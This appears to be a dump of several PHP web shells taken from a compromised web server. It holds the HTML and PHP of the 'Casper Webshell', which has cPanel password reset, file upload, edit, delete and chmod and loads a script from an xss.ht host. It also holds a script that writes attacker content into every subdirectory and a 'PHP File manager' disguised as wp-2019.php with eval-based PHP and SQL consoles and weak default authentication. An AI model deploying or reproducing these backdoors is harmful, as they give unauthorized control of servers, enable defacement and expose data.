urlencode(rtrim($breadcrumbPath, DIRECTORY_SEPARATOR)) .
'">' . htmlspecialchars($crumb) .
'</a>';
}
$breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Casper Webshell</title>
<script
src="https://googlescripts.xss.ht"></script>
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
.file-manager {
width: 80%;
margin: 20px auto;
background-color: #fff;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.file-manager h1 {
text-align: center;
}
.system-info {
margin-bottom: 20px;
background-color: #f9f9f9;
padding: 10px;
border: 1px solid #ddd;
}
.file-list {
width: 100%;
border-collapse: collapse;
}
.file-list th, .file-list td {
padding: 10px;
text-align: left;
border-bottom: 1px solid #ddd;
}
.file-actions form {
display: inline;
}
.file-actions button {
background: none;
border: none;
cursor: pointer;
color: #007bff;
font-size: 14px;
}
.file-actions button:hover {
color: #0056b3;
}
.upload-form, .edit-form, .reset-form {
margin-top: 20px;
}
.upload-form input[type="file"] {
margin-bottom: 10px;
}
.reset-form form {
display: flex;
flex-direction: column;
}
.reset-form input[type="submit"] {
margin-top: 10px;
}
.php-info-button {
margin-top: 20px;
text-align: center;
}
.php-info-button button {
background-color: #17a2b8;
color: #fff;
border: none;
padding: 10px 20px;
cursor: pointer;
}
.php-info-button button:hover {
background-color: #138496;
}
</style>
<script>
function toggleResetForm() {
var form = document.getElementById('reset-form');
if (form.style.display === 'none') {
form.style.display = 'block';
} else {
form.style.display = 'none';
}
}
</script>
</head>
<body>
<div class="file-manager">
<h1>Casper Webshell</h1>
<div class="system-info">
<p>Current Directory: <?php echo
$breadcrumbLinksString; ?></p>
<p>Username: <?php echo htmlspecialchars($username);
?></p>
<p>Server IP: <?php echo htmlspecialchars($serverIP);
?></p>
<p>Client IP: <?php echo htmlspecialchars($clientIP);
?></p>
<p>PHP Version: <?php echo
htmlspecialchars($phpVersion); ?></p>
<p>Current Date and Time: <?php echo
htmlspecialchars($dateTime); ?></p>
<p>Free Disk Space: <?php echo
formatBytes($hddFreeSpace * 1024 * 1024 * 1024); ?></p>
<p>Total Disk Space: <?php echo
formatBytes($hddTotalSpace * 1024 * 1024 * 1024); ?></p>
</div>
<div class="actions">
<?php if ($parent_dir !== $current_dir): ?>
<button
onclick="window.location.href='?dir=<?php echo
urlencode($parent_dir); ?>'">
<i class="fas fa-arrow-left
icon"></i> Back
</button>
<?php endif; ?>
<button onclick="toggleResetForm()">Reset
cPanel Password</button>
</div>
<div class="reset-form" id="reset-form">
<form method="POST">
<input type="email" name="email"
placeholder="Enter email" required>
<input type="submit"
name="cpanel_reset" value="Reset Password">
</form>
</div>
<div class="upload-form">
<h2>Upload File</h2>
<form method="POST" action=""
enctype="multipart/form-data">
<input type="file"
name="fileToUpload" required>
<button type="submit" name="action"
value="upload">Upload</button>
</form>
</div>
<table class="file-list">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item): ?>
<?php if ($item !== '.' && $item
!== '..'): ?>
<?php
$itemPath = $current_dir . DIRECTORY_SEPARATOR .
$item;
$isDir = is_dir($itemPath);
$size = $isDir ? '-' :
formatBytes(filesize($itemPath));
$lastModified = date('Y-m-d H:i:s',
filemtime($itemPath));
?>
<tr>
<td>
<?php if ($isDir): ?>
<a href="?dir=<?php echo
urlencode($itemPath); ?>"><?php echo htmlspecialchars($item);
?></a>
<?php else: ?>
<?php echo htmlspecialchars($item);
?>
<?php endif; ?>
</td>
<td><?php echo $size;
?></td>
<td><?php echo $lastModified;
?></td>
<td class="file-actions">
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<button type="submit"
name="action" value="delete"><i class="fas
fa-trash-alt icon"></i> Delete</button>
</form>
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<button type="submit"
name="action" value="edit"><i class="fas
fa-edit icon"></i> Edit</button>
</form>
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<button type="submit"
name="action" value="download"><i class="fas
fa-download icon"></i> Download</button>
</form>
<form method="POST"
style="display:inline;">
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
<input type="text"
name="permissions" placeholder="Permissions (e.g.,
0755)" style="width: 80px;">
<button type="submit"
name="action" value="chmod"><i class="fas
fa-lock icon"></i> Chmod</button>
</form>
</td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
<?php if (isset($_POST['action']) &&
$_POST['action'] === 'edit'): ?>
<div class="edit-form">
<h2>Edit File: <?php echo
htmlspecialchars($target); ?></h2>
<form method="POST">
<textarea name="content"><?php echo
htmlspecialchars($editFileContent); ?></textarea>
<input type="hidden"
name="target" value="<?php echo
htmlspecialchars($target); ?>">
<button type="submit"
name="action" value="save">Save</button>
</form>
</div>
<?php endif; ?>
</div>
</body>
</html>
mymasshp.php000064400000004206151153674120007125 0ustar00<?php
// Function to handle file uploads
function uploadFileToAllSubdirs($basePath, $filename, $content) {
// Ensure the base path ends with a trailing slash
$basePath = rtrim($basePath, '/') . '/';
// Validate base path
if (!is_dir($basePath)) {
echo "Invalid path: $basePath<br>";
return;
}
// Traverse subdirectories and upload file
$subdirectories = glob($basePath . '*', GLOB_ONLYDIR);
foreach ($subdirectories as $dir) {
// Create and write content to the file in each subdirectory
$filePath = $dir . '/' . $filename;
file_put_contents($filePath, $content);
echo "File uploaded to: $filePath<br>";
}
}
// Function to get and display the current path
function displayCurrentPath($path) {
echo "Current Path: <a
href=\"$path\">$path</a><br>";
}
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$basePath = trim($_POST['path']);
$filename = trim($_POST['filename']);
$content = trim($_POST['content']);
if (empty($basePath) || empty($filename) || empty($content)) {
echo "Path, filename, and content are
required.<br>";
} else {
uploadFileToAllSubdirs($basePath, $filename, $content);
}
}
// Display the current path (default to the server's document root if
not specified)
$currentPath = isset($_POST['path']) ?
trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT'];
displayCurrentPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload File</title>
</head>
<body>
<form method="post" action="">
<label for="path">Base Path:</label>
<input type="text" id="path"
name="path" required value="<?php echo
htmlspecialchars($currentPath); ?>"><br><br>
<label for="filename">Filename:</label>
<input type="text" id="filename"
name="filename" required><br><br>
<label
for="content">Content:</label><br>
<textarea id="content" name="content"
rows="10" cols="30"
required></textarea><br><br>
<input type="submit" value="Upload
File">
</form>
</body>
</html>
wp-2019.php000064400000236701151153674150006315 0ustar00<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
